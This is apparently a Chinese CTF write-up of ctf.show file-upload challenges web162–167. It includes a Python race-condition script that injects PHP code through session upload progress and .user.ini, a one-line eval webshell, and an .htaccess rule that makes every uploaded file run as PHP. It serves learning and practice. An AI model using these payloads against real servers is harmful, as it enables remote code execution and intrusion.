web162
session文件包含+条件竞争
直接包含不传马了
我们上传的文件如果不符合要求,就会被删除,导致成功上传无法访问,没有用。但是如果我们上传的速度比服务器删的速度快,就可以了。
上传.user.ini
GIF89a
auto_append_file=/tmp/sess_hhh
这后面这个hhh
,你们可以自己修改,把脚本的也改了就是
脚本
import requests
import threading
import re
session = requests.session()
sess = 'hhh' #之前上传时自拟的名字
url1 = "http://12d363d9-266c-4a6d-bb94-1a2ce754c8f7.challenge.ctf.show/"
url2 = "http://12d363d9-266c-4a6d-bb94-1a2ce754c8f7.challenge.ctf.show/upload"
data1 = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
}
file = {
'file': 'yu22x tql' #文件名,随便改就行
}
cookies = {
'PHPSESSID': sess
}
def write(): #上传文件竞争过程
while True:
r = session.post(url1, data=data1, files=file, cookies=cookies)
def read():
while True: #每次竞争完都访问一下url/uoload看有没有flag
r = session.get(url2)
if 'flag' in r.text:
flag=re.compile('ctfshow{.+}') #我在做题的时候flag格式已经改成ctfshow{}了
print(flag.findall(r.text))
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
web163
一样的操作,如上题,如果代码跑不出来,要么忘记改要么就是没有放包
web164
二次渲染,暂时不会
web165
二次渲染也是不会
web166
只能上传压缩文件,我们就在压缩文件末尾里面添加一句话木马就行了
然后进入下载页面的时候抓包(“下载文件的时候抓包”)
点击下载文件不用抓包进入页面
#### 本题总结可能你们并不觉得这道题难但是这道题确实难到我了,我做了很久总结一下可能错误的点
压缩文件太大或者太小导致上传不成功或者很难去
web167
只能传jpg文件上传图片马
m.png
<?php eval($_POST[a]);?>
访问upload没权限查了一下要使用.htaccess
对所有文件进行php解析
.htaccess
Sethandler application/x-httpd-php
<!-将该目录及子目录下的文件均按照php文件解析执行-->
访问上传的文件,进行命令执行